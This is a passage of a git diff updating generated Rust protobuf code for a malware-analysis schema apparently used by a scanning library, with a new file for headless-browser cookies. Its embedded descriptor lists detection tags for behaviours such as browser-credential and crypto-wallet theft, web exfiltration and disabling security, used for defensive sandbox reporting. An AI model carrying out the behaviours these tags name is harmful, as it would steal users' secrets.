\x10\x14\x12\r\n\tTUNNELING\x10\x15\x12\n\n\x06CRYPTO\x10\x16\x12\r\n\tT\ - ELEPHONY\x10\x17\x12\x13\n\x0fRUNTIME_MODULES\x10\x18\x12\x0e\n\nREFLECT\ - ION\x10\x19\x12\x10\n\x0cDECRYPTS_EXE\x10\x1b\x12\x11\n\rMACRO_ENVIRON\ - \x10\x1c\x12\x13\n\x0fMACRO_OPEN_FILE\x10\x1d\x12\x14\n\x10MACRO_WRITE_F\ - ILE\x10\x1e\x12\x15\n\x11MACRO_HANDLE_FILE\x10\x1f\x12\x13\n\x0fMACRO_CO\ - PY_FILE\x10\x20\x12\x15\n\x11MACRO_CREATE_FILE\x10!\x12\x12\n\x0eMACRO_R\ - UN_FILE\x10\"\x12\x12\n\x0eMACRO_HIDE_APP\x10#\x12\x14\n\x10MACRO_POWERS\ - HELL\x10$\x12\x14\n\x10MACRO_CREATE_DIR\x10%\x12\x17\n\x13MACRO_SAVE_WOR\ - KBOOK\x10&\x12\x14\n\x10MACRO_CREATE_OLE\x10'\x12\x16\n\x12MACRO_ENUM_WI\ - NDOWS\x10(\x12\x11\n\rMACRO_RUN_DLL\x10)\x12\x16\n\x12MACRO_DOWNLOAD_URL\ - \x10*\x12\x13\n\x0fMACRO_SEND_KEYS\x10+\x12\x12\n\x0eMACRO_REGISTRY\x10,\ - \x12\x17\n\x13MACRO_ANTI_ANALYSIS\x10-\x12\x0e\n\nOBFUSCATED\x10.\x12\r\ - \n\tCLIPBOARD\x10/\x12\x13\n\x0fCHECKS_CPU_NAME\x100\x12\x15\n\x11CHECKS\ - _DISK_SPACE\x101\x12\x1b\n\x17CHECKS_MEMORY_AVAILABLE\x102\x12\x13\n\x0f\ - CHECKS_HOSTNAME\x103\x12\x1b\n\x17CHECKS_NETWORK_ADAPTERS\x104\x12\x0f\n\ - \x0bCHECKS_BIOS\x105\x12\x12\n\x0eCHECKS_PCI_BUS\x106\x12\x12\n\x0eCHECK\ - S_USB_BUS\x107\x12\x19\n\x15EXECUTES_DROPPED_FILE\x108\x12\x19\n\x15REPE\ - ATED_CLOCK_ACCESS\x109\x12\x15\n\x11CHECKS_USER_INPUT\x10:\x12\r\n\tCALL\ - S_WMI\x10;\x12\x11\n\rEVAL_FUNCTION\x10<\x12\x08\n\x04IDLE\x10=\x12\x10\ - \n\x0cSERVICE_SCAN\x10>\x12\x0b\n\x07LISTENS\x10?\x12\x15\n\x11SETS_PROC\ - ESS_NAME\x10@\x12\x0b\n\x07QR_CODE\x10A\x1a\x14\x92\x93\x19\x10\n\x0eBeh\ - aviourTrait*\xda\x01\n\nVerdictTag\x12\x13\n\x0fUNKNOWN_VERDICT\x10\0\ - \x12\t\n\x05CLEAN\x10\x01\x12\x0b\n\x07MALWARE\x10\x02\x12\x0c\n\x08GREY\ - WARE\x10\x03\x12\n\n\x06RANSOM\x10\x04\x12\x0c\n\x08PHISHING\x10\x05\x12\ - \n\n\x06BANKER\x10\x06\x12\n\n\x06ADWARE\x10\x07\x12\x0b\n\x07EXPLOIT\ - \x10\x08\x12\n\n\x06EVADER\x10\t\x12\x07\n\x03RAT\x10\n\x12\n\n\x06TROJA\ - N\x10\x0b\x12\x0c\n\x08SPREADER\x10\x0c\x12\x0b\n\x07STEALER\x10\r\x1a\ - \x16\x92\x93\x19\x12\n\x10BehaviourVerdict*\x96\x01\n\x0eImpactSeverity\ - \x12\x1b\n\x17IMPACT_SEVERITY_UNKNOWN\x10\0\x12\x18\n\x14IMPACT_SEVERITY\ - _INFO\x10\x01\x12\x17\n\x13IMPACT_SEVERITY_LOW\x10\x02\x12\x1a\n\x16IMPA\ - CT_SEVERITY_MEDIUM\x10\x03\x12\x18\n\x14IMPACT_SEVERITY_HIGH\x10\x04b\ - \x06proto3\ + \nprocess_id\x18\x07\x20\x01(\tR\tprocessId\"\xed\x01\n\x10ExtractedPayl\ + oad\x12\x16\n\x06sha256\x18\x01\x20\x01(\tR\x06sha256\x12-\n\x04type\x18\ + \x02\x20\x01(\x0e2\x19.vt.fileanalysis.FileTypeR\x04type\x12\x12\n\x04si\ + ze\x18\x03\x20\x01(\x04R\x04size\x12!\n\x0cpayload_type\x18\x04\x20\x01(\ + \tR\x0bpayloadType\x12!\n\x0cprocess_name\x18\x05\x20\x01(\tR\x0bprocess\ + Name\x128\n\ttimestamp\x18\x06\x20\x01(\x0b2\x1a.google.protobuf.Timesta\ + mpR\ttimestamp\"G\n\x0fPermissionCheck\x12\x1e\n\npermission\x18\x01\x20\ + \x01(\tR\npermission\x12\x14\n\x05owner\x18\x02\x20\x01(\tR\x05owner\"2\ + \n\x08KeyValue\x12\x10\n\x03key\x18\x01\x20\x01(\tR\x03key\x12\x14\n\x05\ + value\x18\x02\x20\x01(\tR\x05value\"\xcb\x06\n\x10HttpConversation\x12\ + \x10\n\x03url\x18\x01\x20\x01(\tR\x03url\x12V\n\x0erequest_method\x18\ + \x02\x20\x01(\x0e2/.vt.fileanalysis.HttpConversation.RequestMethodR\rreq\ + uestMethod\x12^\n\x0frequest_headers\x18\x03\x20\x03(\x0b25.vt.fileanaly\ + sis.HttpConversation.RequestHeadersEntryR\x0erequestHeaders\x12a\n\x10re\ + sponse_headers\x18\x04\x20\x03(\x0b26.vt.fileanalysis.HttpConversation.R\ + esponseHeadersEntryR\x0fresponseHeaders\x120\n\x14response_status_code\ + \x18\x05\x20\x01(\x05R\x12responseStatusCode\x12O\n\x16response_body_fil\ + etype\x18\x06\x20\x01(\x0e2\x19.vt.fileanalysis.FileTypeR\x14responseBod\ + yFiletype\x12@\n\x1dresponse_body_first_ten_bytes\x18\x07\x20\x01(\x0cR\ + \x19responseBodyFirstTenBytes\x1aA\n\x13RequestHeadersEntry\x12\x10\n\ + \x03key\x18\x01\x20\x01(\tR\x03key\x12\x14\n\x05value\x18\x02\x20\x01(\t\ + R\x05value:\x028\x01\x1aB\n\x14ResponseHeadersEntry\x12\x10\n\x03key\x18\ + \x01\x20\x01(\tR\x03key\x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value:\ + \x028\x01\"\xb1\x01\n\rRequestMethod\x12\x0b\n\x07UNKNOWN\x10\0\x12\x07\ + \n\x03GET\x10\x01\x12\x08\n\x04HEAD\x10\x02\x12\x08\n\x04POST\x10\x03\ + \x12\x07\n\x03PUT\x10\x04\x12\n\n\x06DELETE\x10\x05\x12\t\n\x05TRACE\x10\ + \x06\x12\x0b\n\x07OPTIONS\x10\x07\x12\x0b\n\x07CONNECT\x10\x08\x12\t\n\ + \x05PATCH\x10\t\x12\x0c\n\x08PROPFIND\x10\n\x12\t\n\x05SETUP\x10\x0b\x12\ + \n\n\x06UNLOCK\x10\x0c\x1a\x0c\x92\x93\x19\x08\n\x06Method:\n\x8a\x93\ + \x19\x06\n\x04Http\"k\n\tDnsLookup\x12\x1a\n\x08hostname\x18\x01\x20\x01\ + (\tR\x08hostname\x12!\n\x0cresolved_ips\x18\x02\x20\x03(\tR\x0bresolvedI\ + ps\x12\x1f\n\x0btxt_records\x18\x03\x20\x03(\tR\ntxtRecords\"\xba\x03\n\ + \tIpTraffic\x12%\n\x0edestination_ip\x18\x01\x20\x01(\tR\rdestinationIp\ + \x12)\n\x10destination_port\x18\x02\x20\x01(\x05R\x0fdestinationPort\x12\ + k\n\x18transport_layer_protocol\x18\x03\x20\x01(\x0e21.vt.fileanalysis.I\ + pTraffic.TransportLayerProtocolR\x16transportLayerProtocol\x12,\n\x12des\ + tination_ip_asn\x18\x04\x20\x01(\x03R\x10destinationIpAsn\x121\n\x15dest\ + ination_ip_as_int\x18\x05\x20\x01(\x03R\x12destinationIpAsInt\"\x81\x01\ + \n\x16TransportLayerProtocol\x12\x0b\n\x07UNKNOWN\x10\0\x12\x08\n\x04ICM\ + P\x10\x01\x12\x08\n\x04IGMP\x10\x02\x12\x07\n\x03TCP\x10\x06\x12\x07\n\ + \x03UDP\x10\x11\x12\x07\n\x03ESP\x102\x12\x06\n\x02AH\x103\x12\x08\n\x04\ + L2TP\x10s\x12\t\n\x04SCTP\x10\x84\x01\x1a\x0e\x92\x93\x19\n\n\x08Protoco\ + l:\t\x8a\x93\x19\x05\n\x03Net\"\xf2\x04\n\x10SmtpConversation\x12\x1a\n\ + \x08hostname\x18\x01\x20\x01(\tR\x08hostname\x12%\n\x0edestination_ip\ + \x18\x02\x20\x01(\tR\rdestinationIp\x12)\n\x10destination_port\x18\x03\ + \x20\x01(\rR\x0fdestinationPort\x12\x1b\n\tsmtp_from\x18\x04\x20\x01(\tR\ + \x08smtpFrom\x12\x17\n\x07smtp_to\x18\x05\x20\x03(\tR\x06smtpTo\x12!\n\ + \x0cmessage_from\x18\x06\x20\x03(\tR\x0bmessageFrom\x12\x1d\n\nmessage_t\ + o\x18\x07\x20\x03(\tR\tmessageTo\x12\x1d\n\nmessage_cc\x18\x08\x20\x03(\ + \tR\tmessageCc\x12\x1f\n\x0bmessage_bcc\x18\t\x20\x03(\tR\nmessageBcc\ + \x12\x1c\n\ttimestamp\x18\n\x20\x01(\tR\ttimestamp\x12\x18\n\x07subject\ + \x18\x0b\x20\x01(\tR\x07subject\x12\x1b\n\thtml_body\x18\x0c\x20\x01(\tR\ + \x08htmlBody\x12\x19\n\x08txt_body\x18\r\x20\x01(\tR\x07txtBody\x12\x1b\ + \n\tauth_user\x18\x0e\x20\x01(\tR\x08authUser\x12\x1b\n\tauth_pass\x18\ + \x0f\x20\x01(\tR\x08authPass\x123\n\x07headers\x18\x10\x20\x03(\x0b2\x19\ + .vt.fileanalysis.KeyValueR\x07headers\x12>\n\x0battachments\x18\x11\x20\ + \x03(\x0b2\x1c.vt.fileanalysis.DroppedFileR\x0battachments\x12\x19\n\x08\ + x_mailer\x18\x12\x20\x01(\tR\x07xMailer\";\n\x03Sms\x12\x20\n\x0bdestina\ + tion\x18\x01\x20\x01(\tR\x0bdestination\x12\x12\n\x04body\x18\x02\x20\ + \x01(\tR\x04body\"\xe4\x03\n\x0eSignatureMatch\x12\x0e\n\x02id\x18\x01\ + \x20\x01(\tR\x02id\x12G\n\x06format\x18\x02\x20\x01(\x0e2/.vt.fileanalys\ + is.SignatureMatch.SignatureFormatR\x06format\x12\x12\n\x04name\x18\x03\ + \x20\x01(\tR\x04name\x12\x20\n\x0bdescription\x18\x04\x20\x01(\tR\x0bdes\ + cription\x12\x18\n\x07authors\x18\x05\x20\x03(\tR\x07authors\x12\x16\n\ + \x06events\x18\x06\x20\x03(\tR\x06events\x12\x1d\n\nmatch_data\x18\x07\ + \x20\x03(\tR\tmatchData\x12\x19\n\x08rule_src\x18\x08\x20\x01(\tR\x07rul\ + eSrc\x12;\n\x08severity\x18\t\x20\x01(\x0e2\x1f.vt.fileanalysis.ImpactSe\ + verityR\x08severity\"\x99\x01\n\x0fSignatureFormat\x12\x16\n\x12SIG_FORM\ + AT_UNKNOWN\x10\0\x12\x13\n\x0fSIG_FORMAT_YARA\x10\x01\x12\x14\n\x10SIG_F\ + ORMAT_SIGMA\x10\x02\x12\x13\n\x0fSIG_FORMAT_CAPA\x10\x03\x12\x16\n\x12SI\ + G_FORMAT_OPENIOC\x10\x04\x12\x16\n\x12SIG_FORMAT_KEYWORD\x10\x05\"\x98\ + \x01\n\x14MitreAttackTechnique\x12\x0e\n\x02id\x18\x01\x20\x01(\tR\x02id\ + \x12;\n\x08severity\x18\x02\x20\x01(\x0e2\x1f.vt.fileanalysis.ImpactSeve\ + rityR\x08severity\x123\n\x15signature_description\x18\x03\x20\x01(\tR\ + \x14signatureDescription\"z\n\x16MalwareBehaviorCatalog\x12\x0e\n\x02id\ + \x18\x01\x20\x01(\tR\x02id\x12\x1c\n\tobjective\x18\x02\x20\x01(\tR\tobj\ + ective\x12\x1a\n\x08behavior\x18\x03\x20\x01(\tR\x08behavior\x12\x16\n\ + \x06method\x18\x04\x20\x01(\tR\x06method\"\xa9\x03\n\x0bProcessItem\x12\ + \x1d\n\nprocess_id\x18\x01\x20\x01(\tR\tprocessId\x12*\n\x11parent_proce\ + ss_id\x18\x02\x20\x01(\tR\x0fparentProcessId\x12\x12\n\x04name\x18\x03\ + \x20\x01(\tR\x04name\x12\x1f\n\x0bparent_name\x18\n\x20\x01(\tR\nparentN\ + ame\x12%\n\x0eancestor_names\x18\x0b\x20\x03(\tR\rancestorNames\x12\x1d\ + \n\nstart_time\x18\x04\x20\x01(\x04R\tstartTime\x12)\n\x10termination_ti\ + me\x18\x05\x20\x01(\x04R\x0fterminationTime\x12!\n\x0cfiles_opened\x18\ + \x06\x20\x03(\tR\x0bfilesOpened\x12#\n\rfiles_written\x18\x07\x20\x03(\t\ + R\x0cfilesWritten\x12#\n\rfiles_deleted\x18\x08\x20\x03(\tR\x0cfilesDele\ + ted\x12<\n\x0cfiles_copied\x18\t\x20\x03(\x0b2\x19.vt.fileanalysis.FileC\ + opyR\x0bfilesCopied*\x8b\x0c\n\x0cBehaviourTag\x12\x15\n\x11UNKNOWN_BEHA\ + VIOUR\x10\0\x12\x1c\n\x18DETECT_DEBUG_ENVIRONMENT\x10\x01\x12\x1b\n\x17D\ + IRECT_CPU_CLOCK_ACCESS\x10\x02\x12\x0f\n\x0bLONG_SLEEPS\x10\x03\x12\x0f\ + \n\x0bSELF_DELETE\x10\x04\x12\x12\n\x0eHOSTS_MODIFIER\x10\x05\x12\x1e\n\ + \x1aINSTALLS_BROWSER_EXTENSION\x10\x06\x12\x13\n\x0fPASSWORD_DIALOG\x10\ + \x07\x12\x08\n\x04SUDO\x10\x08\x12\x0f\n\x0bPERSISTENCE\x10\t\x12\r\n\tS\ + ENDS_SMS\x10\n\x12\x0e\n\nCHECKS_GPS\x10\x0b\x12\x15\n\x11FTP_COMMUNICAT\ + ION\x10\x0c\x12\x15\n\x11SSH_COMMUNICATION\x10\r\x12\x18\n\x14TELNET_COM\ + MUNICATION\x10\x0e\x12\x16\n\x12SMTP_COMMUNICATION\x10\x0f\x12\x17\n\x13\ + MYSQL_COMMUNICATION\x10\x1a\x12\x15\n\x11IRC_COMMUNICATION\x10\x11\x12\ + \x12\n\x0eSUSPICIOUS_DNS\x10\x12\x12\x12\n\x0eSUSPICIOUS_UDP\x10\x13\x12\ + \x10\n\x0cBIG_UPSTREAM\x10\x14\x12\r\n\tTUNNELING\x10\x15\x12\n\n\x06CRY\ + PTO\x10\x16\x12\r\n\tTELEPHONY\x10\x17\x12\x13\n\x0fRUNTIME_MODULES\x10\ + \x18\x12\x0e\n\nREFLECTION\x10\x19\x12\x10\n\x0cDECRYPTS_EXE\x10\x1b\x12\ + \x11\n\rMACRO_ENVIRON\x10\x1c\x12\x13\n\x0fMACRO_OPEN_FILE\x10\x1d\x12\ + \x14\n\x10MACRO_WRITE_FILE\x10\x1e\x12\x15\n\x11MACRO_HANDLE_FILE\x10\ + \x1f\x12\x13\n\x0fMACRO_COPY_FILE\x10\x20\x12\x15\n\x11MACRO_CREATE_FILE\ + \x10!\x12\x12\n\x0eMACRO_RUN_FILE\x10\"\x12\x12\n\x0eMACRO_HIDE_APP\x10#\ + \x12\x14\n\x10MACRO_POWERSHELL\x10$\x12\x14\n\x10MACRO_CREATE_DIR\x10%\ + \x12\x17\n\x13MACRO_SAVE_WORKBOOK\x10&\x12\x14\n\x10MACRO_CREATE_OLE\x10\ + '\x12\x16\n\x12MACRO_ENUM_WINDOWS\x10(\x12\x11\n\rMACRO_RUN_DLL\x10)\x12\ + \x16\n\x12MACRO_DOWNLOAD_URL\x10*\x12\x13\n\x0fMACRO_SEND_KEYS\x10+\x12\ + \x12\n\x0eMACRO_REGISTRY\x10,\x12\x17\n\x13MACRO_ANTI_ANALYSIS\x10-\x12\ + \x0e\n\nOBFUSCATED\x10.\x12\r\n\tCLIPBOARD\x10/\x12\x13\n\x0fCHECKS_CPU_\ + NAME\x100\x12\x15\n\x11CHECKS_DISK_SPACE\x101\x12\x1b\n\x17CHECKS_MEMORY\ + _AVAILABLE\x102\x12\x13\n\x0fCHECKS_HOSTNAME\x103\x12\x1b\n\x17CHECKS_NE\ + TWORK_ADAPTERS\x104\x12\x0f\n\x0bCHECKS_BIOS\x105\x12\x12\n\x0eCHECKS_PC\ + I_BUS\x106\x12\x12\n\x0eCHECKS_USB_BUS\x107\x12\x19\n\x15EXECUTES_DROPPE\ + D_FILE\x108\x12\x19\n\x15REPEATED_CLOCK_ACCESS\x109\x12\x15\n\x11CHECKS_\ + USER_INPUT\x10:\x12\r\n\tCALLS_WMI\x10;\x12\x11\n\rEVAL_FUNCTION\x10<\ + \x12\x08\n\x04IDLE\x10=\x12\x10\n\x0cSERVICE_SCAN\x10>\x12\x0b\n\x07LIST\ + ENS\x10?\x12\x15\n\x11SETS_PROCESS_NAME\x10@\x12\x0b\n\x07QR_CODE\x10A\ + \x12\x11\n\rBROWSER_CREDS\x10B\x12\x12\n\x0eCRYPTO_WALLETS\x10C\x12\x12\ + \n\x0eOS_CREDENTIALS\x10D\x12\r\n\tWEB_EXFIL\x10E\x12\x11\n\rUNSIGNED_EX\ + EC\x10F\x12\x14\n\x10STRIP_QUARANTINE\x10G\x12\x15\n\x11DISABLES_SECURIT\ + Y\x10H\x12\r\n\tCHECKS_VM\x10I\x12\x12\n\x0eENCRYPTS_FILES\x10J\x1a\x14\ + \x92\x93\x19\x10\n\x0eBehaviourTrait*\xda\x01\n\nVerdictTag\x12\x13\n\ + \x0fUNKNOWN_VERDICT\x10\0\x12\t\n\x05CLEAN\x10\x01\x12\x0b\n\x07MALWARE\ + \x10\x02\x12\x0c\n\x08GREYWARE\x10\x03\x12\n\n\x06RANSOM\x10\x04\x12\x0c\ + \n\x08PHISHING\x10\x05\x12\n\n\x06BANKER\x10\x06\x12\n\n\x06ADWARE\x10\ + \x07\x12\x0b\n\x07EXPLOIT\x10\x08\x12\n\n\x06EVADER\x10\t\x12\x07\n\x03R\ + AT\x10\n\x12\n\n\x06TROJAN\x10\x0b\x12\x0c\n\x08SPREADER\x10\x0c\x12\x0b\ + \n\x07STEALER\x10\r\x1a\x16\x92\x93\x19\x12\n\x10BehaviourVerdict*\x96\ + \x01\n\x0eImpactSeverity\x12\x1b\n\x17IMPACT_SEVERITY_UNKNOWN\x10\0\x12\ + \x18\n\x14IMPACT_SEVERITY_INFO\x10\x01\x12\x17\n\x13IMPACT_SEVERITY_LOW\ + \x10\x02\x12\x1a\n\x16IMPACT_SEVERITY_MEDIUM\x10\x03\x12\x18\n\x14IMPACT\ + _SEVERITY_HIGH\x10\x04b\x06proto3\ "; /// `FileDescriptorProto` object which was a source for this generated file @@ -5519,16 +5854,18 @@ pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { static file_descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::FileDescriptor> = ::protobuf::rt::Lazy::new(); file_descriptor.get(|| { let generated_file_descriptor = generated_file_descriptor_lazy.get(|| { - let mut deps = ::std::vec::Vec::with_capacity(4); + let mut deps = ::std::vec::Vec::with_capacity(5); + deps.push(::protobuf::well_known_types::timestamp::file_descriptor().clone()); deps.push(super::filetypes::file_descriptor().clone()); deps.push(super::sigma::file_descriptor().clone()); deps.push(super::net_analysis::file_descriptor().clone()); deps.push(super::yara::file_descriptor().clone()); - let mut messages = ::std::vec::Vec::with_capacity(15); + let mut messages = ::std::vec::Vec::with_capacity(16); messages.push(BehaviourSummary::generated_message_descriptor_data()); messages.push(TLS::generated_message_descriptor_data()); messages.push(FileCopy::generated_message_descriptor_data()); messages.push(DroppedFile::generated_message_descriptor_data()); + messages.push(ExtractedPayload::generated_message_descriptor_data()); messages.push(PermissionCheck::generated_message_descriptor_data()); messages.push(KeyValue::generated_message_descriptor_data()); messages.push(HttpConversation::generated_message_descriptor_data()); diff --git a/lib/src/modules/protos/generated/urlheadless.rs b/lib/src/modules/protos/generated/urlheadless.rs new file mode 100644 index 000000000..532301474 --- /dev/null +++ b/lib/src/modules/protos/generated/urlheadless.rs @@ -0,0 +1,974 @@ +// This file is generated by rust-protobuf 3.7.2. Do not edit +// .proto file is parsed by pure +// @generated + +// https://github.com/rust-lang/rust-clippy/issues/702 +#![allow(unknown_lints)] +#![allow(clippy::all)] + +#![allow(unused_attributes)] +#![cfg_attr(rustfmt, rustfmt::skip)] + +#![allow(dead_code)] +#![allow(missing_docs)] +#![allow(non_camel_case_types)] +#![allow(non_snake_case)] +#![allow(non_upper_case_globals)] +#![allow(trivial_casts)] +#![allow(unused_results)] +#![allow(unused_mut)] + +//! Generated file from `vt/urlheadless.proto` + +/// Generated files are compatible only with the same version +/// of protobuf runtime. +const _PROTOBUF_VERSION_CHECK: () = ::protobuf::VERSION_3_7_2; + +// @@protoc_insertion_point(message:vt.urlheadless.Cookie) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct Cookie { + // message fields + // @@protoc_insertion_point(field:vt.urlheadless.Cookie.name) + pub name: ::std::string::String, + // @@protoc_insertion_point(field:vt.urlheadless.Cookie.value) + pub value: ::std::string::String, + // @@protoc_insertion_point(field:vt.urlheadless.Cookie.domain) + pub domain: ::std::string::String, + // @@protoc_insertion_point(field:vt.urlheadless.Cookie.expires) + pub expires: i32, + // @@protoc_insertion_point(field:vt.urlheadless.Cookie.size) + pub size: i32, + // @@protoc_insertion_point(field:vt.urlheadless.Cookie.http_only) + pub http_only: bool, + // @@protoc_insertion_point(field:vt.urlheadless.Cookie.secure) + pub secure: bool, + // @@protoc_insertion_point(field:vt.urlheadless.Cookie.session) + pub session: bool, + // @@protoc_insertion_point(field:vt.urlheadless.Cookie.priority) + pub priority: ::protobuf::EnumOrUnknown, + // special fields + // @@protoc_insertion_point(special_field:vt.urlheadless.Cookie.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a Cookie { + fn default() -> &'a Cookie { + ::default_instance() + } +} + +impl Cookie { + pub fn new() -> Cookie { + ::std::default::Default::default() + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(9); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "name", + |m: &Cookie| { &m.name }, + |m: &mut Cookie| { &mut m.name }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "value", + |m: &Cookie| { &m.value }, + |m: &mut Cookie| { &mut m.value }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "domain", + |m: &Cookie| { &m.domain }, + |m: &mut Cookie| { &mut m.domain }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "expires", + |m: &Cookie| { &m.expires }, + |m: &mut Cookie| { &mut m.expires }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "size", + |m: &Cookie| { &m.size }, + |m: &mut Cookie| { &mut m.size }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "http_only", + |m: &Cookie| { &m.http_only }, + |m: &mut Cookie| { &mut m.http_only }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "secure", + |m: &Cookie| { &m.secure }, + |m: &mut Cookie| { &mut m.secure }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "session", + |m: &Cookie| { &m.session }, + |m: &mut Cookie| { &mut m.session }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "priority", + |m: &Cookie| { &m.priority }, + |m: &mut Cookie| { &mut m.priority }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "Cookie", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for Cookie { + const NAME: &'static str = "Cookie"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => { + self.name = is.read_string()?; + }, + 18 => { + self.value = is.read_string()?; + }, + 26 => { + self.domain = is.read_string()?; + }, + 32 => { + self.expires = is.read_int32()?; + }, + 40 => { + self.size = is.read_int32()?; + }, + 48 => { + self.http_only = is.read_bool()?; + }, + 56 => { + self.secure = is.read_bool()?; + }, + 64 => { + self.session = is.read_bool()?; + }, + 72 => { + self.priority = is.read_enum_or_unknown()?; + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if !self.name.is_empty() { + my_size += ::protobuf::rt::string_size(1, &self.name); + } + if !self.value.is_empty() { + my_size += ::protobuf::rt::string_size(2, &self.value); + } + if !self.domain.is_empty() { + my_size += ::protobuf::rt::string_size(3, &self.domain); + } + if self.expires != 0 { + my_size += ::protobuf::rt::int32_size(4, self.expires); + } + if self.size != 0 { + my_size += ::protobuf::rt::int32_size(5, self.size); + } + if self.http_only != false { + my_size += 1 + 1; + } + if self.secure != false { + my_size += 1 + 1; + } + if self.session != false { + my_size += 1 + 1; + } + if self.priority != ::protobuf::EnumOrUnknown::new(cookie::CookiePriority::COOKIE_PRIORITY_UNDEFINED) { + my_size += ::protobuf::rt::int32_size(9, self.priority.value()); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if !self.name.is_empty() { + os.write_string(1, &self.name)?; + } + if !self.value.is_empty() { + os.write_string(2, &self.value)?; + } + if !self.domain.is_empty() { + os.write_string(3, &self.domain)?; + } + if self.expires != 0 { + os.write_int32(4, self.expires)?; + } + if self.size != 0 { + os.write_int32(5, self.size)?; + } + if self.http_only != false { + os.write_bool(6, self.http_only)?; + } + if self.secure != false { + os.write_bool(7, self.secure)?; + } + if self.session != false { + os.write_bool(8, self.session)?; + } + if self.priority != ::protobuf::EnumOrUnknown::new(cookie::CookiePriority::COOKIE_PRIORITY_UNDEFINED) { + os.write_enum(9, ::protobuf::EnumOrUnknown::value(&self.priority))?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> Cookie { + Cookie::new() + } + + fn clear(&mut self) { + self.name.clear(); + self.value.clear(); + self.domain.clear(); + self.expires = 0; + self.size = 0; + self.http_only = false; + self.secure = false; + self.session = false; + self.priority = ::protobuf::EnumOrUnknown::new(cookie::CookiePriority::COOKIE_PRIORITY_UNDEFINED); + self.special_fields.clear(); + } + + fn default_instance() -> &'static Cookie { + static instance: Cookie = Cookie { + name: ::std::string::String::new(), + value: ::std::string::String::new(), + domain: ::std::string::String::new(), + expires: 0, + size: 0, + http_only: false, + secure: false, + session: false, + priority: ::protobuf::EnumOrUnknown::from_i32(0), + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for Cookie { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("Cookie").unwrap()).clone() + } +} + +impl ::std::fmt::Display for Cookie { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for Cookie { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +/// Nested message and enums of message `Cookie` +pub mod cookie { + #[derive(Clone,Copy,PartialEq,Eq,Debug,Hash)] + // @@protoc_insertion_point(enum:vt.urlheadless.Cookie.CookiePriority) + pub enum CookiePriority { + // @@protoc_insertion_point(enum_value:vt.urlheadless.Cookie.CookiePriority.COOKIE_PRIORITY_UNDEFINED) + COOKIE_PRIORITY_UNDEFINED = 0, + // @@protoc_insertion_point(enum_value:vt.urlheadless.Cookie.CookiePriority.COOKIE_PRIORITY_HIGH) + COOKIE_PRIORITY_HIGH = 1, + // @@protoc_insertion_point(enum_value:vt.urlheadless.Cookie.CookiePriority.COOKIE_PRIORITY_MEDIUM) + COOKIE_PRIORITY_MEDIUM = 2, + // @@protoc_insertion_point(enum_value:vt.urlheadless.Cookie.CookiePriority.COOKIE_PRIORITY_LOW) + COOKIE_PRIORITY_LOW = 3, + } + + impl ::protobuf::Enum for CookiePriority { + const NAME: &'static str = "CookiePriority"; + + fn value(&self) -> i32 { + *self as i32 + } + + fn from_i32(value: i32) -> ::std::option::Option { + match value { + 0 => ::std::option::Option::Some(CookiePriority::COOKIE_PRIORITY_UNDEFINED), + 1 => ::std::option::Option::Some(CookiePriority::COOKIE_PRIORITY_HIGH), + 2 => ::std::option::Option::Some(CookiePriority::COOKIE_PRIORITY_MEDIUM), + 3 => ::std::option::Option::Some(CookiePriority::COOKIE_PRIORITY_LOW), + _ => ::std::option::Option::None + } + } + + fn from_str(str: &str) -> ::std::option::Option { + match str { + "COOKIE_PRIORITY_UNDEFINED" => ::std::option::Option::Some(CookiePriority::COOKIE_PRIORITY_UNDEFINED), + "COOKIE_PRIORITY_HIGH" => ::std::option::Option::Some(CookiePriority::COOKIE_PRIORITY_HIGH), + "COOKIE_PRIORITY_MEDIUM" => 